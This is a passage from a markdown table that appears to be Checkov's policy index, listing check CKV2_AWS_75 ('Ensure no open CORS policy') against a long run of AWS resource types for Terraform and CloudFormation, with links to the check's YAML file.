[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4291 | CKV2_AWS_75 | resource | aws_neptune_cluster | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4292 | CKV2_AWS_75 | resource | aws_neptune_cluster | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4293 | CKV2_AWS_75 | resource | aws_neptune_cluster_endpoint | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4294 | CKV2_AWS_75 | resource | aws_neptune_cluster_endpoint | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4295 | CKV2_AWS_75 | resource | aws_neptune_cluster_instance | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4296 | CKV2_AWS_75 | resource | aws_neptune_cluster_instance | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4297 | CKV2_AWS_75 | resource | aws_neptune_cluster_parameter_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4298 | CKV2_AWS_75 | resource | aws_neptune_cluster_parameter_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4299 | CKV2_AWS_75 | resource | aws_neptune_cluster_snapshot | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4300 | CKV2_AWS_75 | resource | aws_neptune_cluster_snapshot | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4301 | CKV2_AWS_75 | resource | aws_neptune_event_subscription | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4302 | CKV2_AWS_75 | resource | aws_neptune_event_subscription | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4303 | CKV2_AWS_75 | resource | aws_neptune_global_cluster | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4304 | CKV2_AWS_75 | resource | aws_neptune_global_cluster | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4305 | CKV2_AWS_75 | resource | aws_neptune_parameter_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4306 | CKV2_AWS_75 | resource | aws_neptune_parameter_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4307 | CKV2_AWS_75 | resource | aws_neptune_subnet_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4308 | CKV2_AWS_75 | resource | aws_neptune_subnet_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4309 | CKV2_AWS_75 | resource | aws_network_acl | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4310 | CKV2_AWS_75 | resource | aws_network_acl | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4311 | CKV2_AWS_75 | resource | aws_network_acl_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4312 | CKV2_AWS_75 | resource | aws_network_acl_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4313 | CKV2_AWS_75 | resource | aws_network_acl_rule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4314 | CKV2_AWS_75 | resource | aws_network_acl_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4315 | CKV2_AWS_75 | resource | aws_network_interface | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4316 | CKV2_AWS_75 | resource | aws_network_interface | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4317 | CKV2_AWS_75 | resource | aws_network_interface_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4318 | CKV2_AWS_75 | resource | aws_network_interface_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4319 | CKV2_AWS_75 | resource | aws_network_interface_sg_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4320 | CKV2_AWS_75 | resource | aws_network_interface_sg_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4321 | CKV2_AWS_75 | resource | aws_networkfirewall_firewall | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4322 | CKV2_AWS_75 | resource | aws_networkfirewall_firewall | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4323 | CKV2_AWS_75 | resource | aws_networkfirewall_firewall_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4324 | CKV2_AWS_75 | resource | aws_networkfirewall_firewall_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4325 | CKV2_AWS_75 | resource | aws_networkfirewall_logging_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4326 | CKV2_AWS_75 | resource | aws_networkfirewall_logging_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4327 | CKV2_AWS_75 | resource | aws_networkfirewall_resource_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4328 | CKV2_AWS_75 | resource | aws_networkfirewall_resource_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4329 | CKV2_AWS_75 | resource | aws_networkfirewall_rule_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4330 | CKV2_AWS_75 | resource | aws_networkfirewall_rule_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4331 | CKV2_AWS_75 | resource | aws_networkfirewall_tls_inspection_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4332 | CKV2_AWS_75 | resource | aws_networkfirewall_tls_inspection_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4333 | CKV2_AWS_75 | resource | aws_networkmanager_attachment_accepter | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4334 | CKV2_AWS_75 | resource | aws_networkmanager_attachment_accepter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4335 | CKV2_AWS_75 | resource | aws_networkmanager_connect_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4336 | CKV2_AWS_75 | resource | aws_networkmanager_connect_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4337 | CKV2_AWS_75 | resource | aws_networkmanager_connect_peer | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4338 | CKV2_AWS_75 | resource | aws_networkmanager_connect_peer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4339 | CKV2_AWS_75 | resource | aws_networkmanager_connection | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4340 | CKV2_AWS_75 | resource | aws_networkmanager_connection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4341 | CKV2_AWS_75 | resource | aws_networkmanager_core_network | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4342 | CKV2_AWS_75 | resource | aws_networkmanager_core_network | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4343 | CKV2_AWS_75 | resource | aws_networkmanager_core_network_policy_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4344 | CKV2_AWS_75 | resource | aws_networkmanager_core_network_policy_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4345 | CKV2_AWS_75 | resource | aws_networkmanager_customer_gateway_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4346 | CKV2_AWS_75 | resource | aws_networkmanager_customer_gateway_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4347 | CKV2_AWS_75 | resource | aws_networkmanager_device | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4348 | CKV2_AWS_75 | resource | aws_networkmanager_device | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4349 | CKV2_AWS_75 | resource | aws_networkmanager_dx_gateway_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4350 | CKV2_AWS_75 | resource | aws_networkmanager_dx_gateway_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4351 | CKV2_AWS_75 | resource | aws_networkmanager_global_network | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4352 | CKV2_AWS_75 | resource | aws_networkmanager_global_network | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4353 | CKV2_AWS_75 | resource | aws_networkmanager_link | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4354 | CKV2_AWS_75 | resource | aws_networkmanager_link | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4355 | CKV2_AWS_75 | resource | aws_networkmanager_link_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4356 | CKV2_AWS_75 | resource | aws_networkmanager_link_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4357 | CKV2_AWS_75 | resource | aws_networkmanager_site | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4358 | CKV2_AWS_75 | resource | aws_networkmanager_site | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4359 | CKV2_AWS_75 | resource | aws_networkmanager_site_to_site_vpn_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4360 | CKV2_AWS_75 | resource | aws_networkmanager_site_to_site_vpn_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4361 | CKV2_AWS_75 | resource | aws_networkmanager_transit_gateway_connect_peer_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4362 | CKV2_AWS_75 | resource | aws_networkmanager_transit_gateway_connect_peer_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4363 | CKV2_AWS_75 | resource | aws_networkmanager_transit_gateway_peering | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4364 | CKV2_AWS_75 | resource | aws_networkmanager_transit_gateway_peering | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4365 | CKV2_AWS_75 | resource | aws_networkmanager_transit_gateway_registration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4366 | CKV2_AWS_75 | resource | aws_networkmanager_transit_gateway_registration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4367 | CKV2_AWS_75 | resource | aws_networkmanager_transit_gateway_route_table_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4368 | CKV2_AWS_75 | resource | aws_networkmanager_transit_gateway_route_table_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4369 | CKV2_AWS_75 | resource | aws_networkmanager_vpc_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4370 | CKV2_AWS_75 | resource | aws_networkmanager_vpc_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4371 | CKV2_AWS_75 | resource | aws_networkmonitor_monitor | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4372 | CKV2_AWS_75 | resource | aws_networkmonitor_monitor | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4373 | CKV2_AWS_75 | resource | aws_networkmonitor_probe | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4374 | CKV2_AWS_75 | resource | aws_networkmonitor_probe | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4375 | CKV2_AWS_75 | resource | aws_oam_link | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4376 | CKV2_AWS_75 | resource | aws_oam_link | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4377 | CKV2_AWS_75 | resource | aws_oam_sink | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4378 | CKV2_AWS_75 | resource | aws_oam_sink | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4379 | CKV2_AWS_75 | resource | aws_oam_sink_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4380 | CKV2_AWS_75 | resource | aws_oam_sink_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4381 | CKV2_AWS_75 | resource | aws_opensearch_authorize_vpc_endpoint_access | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4382 | CKV2_AWS_75 | resource | aws_opensearch_authorize_vpc_endpoint_access | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4383 | CKV2_AWS_75 | resource | aws_opensearch_domain | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4384 | CKV2_AWS_75 | resource | aws_opensearch_domain | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4385 | CKV2_AWS_75 | resource | aws_opensearch_domain_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4386 | CKV2_AWS_75 | resource | aws_opensearch_domain_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4387 | CKV2_AWS_75 | resource | aws_opensearch_domain_saml_options | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4388 | CKV2_AWS_75 | resource | aws_opensearch_domain_saml_options | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4389 | CKV2_AWS_75 | resource | aws_opensearch_inbound_connection_accepter | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4390 | CKV2_AWS_75 | resource | aws_opensearch_inbound_connection_accepter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4391 | CKV2_AWS_75 | resource | aws_opensearch_outbound_connection | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4392 | CKV2_AWS_75 | resource | aws_opensearch_outbound_connection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4393 | CKV2_AWS_75 | resource | aws_opensearch_package | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4394 | CKV2_AWS_75 | resource | aws_opensearch_package | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4395 | CKV2_AWS_75 | resource | aws_opensearch_package_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4396 | CKV2_AWS_75 | resource | aws_opensearch_package_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4397 | CKV2_AWS_75 | resource | aws_opensearch_vpc_endpoint | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4398 | CKV2_AWS_75 | resource | aws_opensearch_vpc_endpoint | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4399 | CKV2_AWS_75 | resource | aws_opensearchserverless_access_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4400 | CKV2_AWS_75 | resource | aws_opensearchserverless_access_policy | Ensure no open CORS policy | Cloudformation | 